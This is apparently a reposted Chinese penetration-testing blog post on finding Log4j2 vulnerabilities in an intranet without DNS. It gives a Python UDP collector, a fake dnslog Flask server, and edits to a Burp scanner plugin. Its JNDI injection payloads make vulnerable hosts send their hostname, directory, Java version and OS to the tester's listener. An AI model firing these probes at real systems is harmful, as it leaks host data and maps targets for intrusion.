log4j2无dns解析黑盒自动化摸排

渗透技巧 3年前 (2021) admin
1,000 0 0

log4j2无dns解析黑盒自动化摸排

前情提要:

内网不通外网,无dns解析,用jndi检测会错过jndi不外连的,给我整不会了


众所周知,nc -ulp能把消费者ip、hostname和webpath带出来。

但是nc单进程,所以需要一个多进程无阻塞的udpserver。

log4j2无dns解析黑盒自动化摸排


那github找个log4j的burp插件改改,再本地写个udpserver模拟dnslog.cn就行了。


udp-multithreading.py(模拟dnslog解析功能)

#!/usr/bin/env python3# -*- coding: utf-8 -*-import socket, threading  def recv_msg(udp_socket):    """接收数据并显示"""    while True:        # 1. 接收数据        recv_msg = udp_socket.recvfrom(1024)        # 2. 解码        recv_ip = recv_msg[1]        recv_msg = recv_msg[0]#.decode("utf-8")  #注意这里的编码如果是windows选择gbk,linux选择utf-8        # 3. 显示接收到的数据        msg = ">>>%s:%s" % (str(recv_ip), recv_msg)        with open('log','a')as f:            f.write(msg+'n')        print(msg)  def main():    # 1. 创建套接字    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    # 2. 绑定本地信息    udp_socket.bind(("", 53))     # 3. 创建一个子线程用来接收数据    t = threading.Thread(target=recv_msg, args=(udp_socket,))    t.start() if __name__ == "__main__":    main()


server-start.py(模拟dnslog查询功能,记得修改IP为本机内网IP

#!/usr/bin/env python3# -*- coding: utf-8 -*-from flask import Flask, request, make_response
ip = '192.168.229.1'
app = Flask(__name__)@app.route('/getdomain.php',methods = ['GET'])def index(): resp = make_response(ip + ':53') # 响应体 resp.status = str(200) return resp
@app.route('/getrecords.php',methods = ['GET'])def index1(): with open('log','rb')as f: resp = make_response(f.read()) # 响应体 resp.status = str(200) return resp
if __name__ == "__main__": print('http://'+ip+':18888/getdomain.php') print('http://'+ip+':18888/getrecords.php') app.run(processes=True,host="0.0.0.0", port=18888)


效果如下:

log4j2无dns解析黑盒自动化摸排


burp插件我相中了这个,https://github.com/whwlsfb/Log4j2Scan


修改如下:

修改dnslog平台为本机内网IPsrcmainjavaburpdnslogplatformDnslogCN.java:34    String platformUrl = "http://192.168.229.1:18888/";
内网dnslog查询两分钟改成一分钟srcmainjavaburpdnslogplatformDnslogCN.java:61 }, 0, 1 * 60 * 1000); //2min
回显位置domain改成pathsrcmainjavaburpdnslogplatformDnslogCN.java:71 return rootDomain + "/"+Utils.getCurrentTimeMillis() + Utils.GetRandomString(5)+"/${hostName}-${sys:user.dir}-${sys:java.version}-${java:os}";
改一下污点字符串srcmainjavaburpdnslogplatformDnslogCN.java:88 return dnsLogResultCache.contains(domain.toLowerCase().split("/")[1]);
内网payload不用多,一个basic一个变形就可以了srcmainjavaburpscannerLog4j2Scanner.java:91 this.pocs = new IPOC[]{new POC2(), new POC4()};
看情况,我选择不fuzz headerssrcmainjavaburpscannerLog4j2Scanner.java:114 //domainMap.putAll(headerFuzz(baseRequestResponse, req));
ldap改成dnssrcmainjavaburppocimplPOC2.java:13 result.append(confusionChars(new String[]{"d", "n", "s"}));
ldap改成dnssrcmainjavaburppocimplPOC4.java:8 return "${jndi:dns://" + domain + "}";


效果如下:

log4j2无dns解析黑盒自动化摸排


爬虫把requests都代理到burp,右键audit checks – extensions only


burp插件扫出来漏洞请求包里的污点字符串(输入源),拿到本地log文件(消费者,含漏洞点的web路径)去匹配,整条链就明朗了。

log4j2无dns解析黑盒自动化摸排


公众号后台消息基本不看,有事滴滴

log4j2无dns解析黑盒自动化摸排




log4j2无dns解析黑盒自动化摸排


原文始发于微信公众号(流浪猫收容所):log4j2无dns解析黑盒自动化摸排

版权声明:admin 发表于 2021年12月12日 上午10:41。
转载请注明:log4j2无dns解析黑盒自动化摸排 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...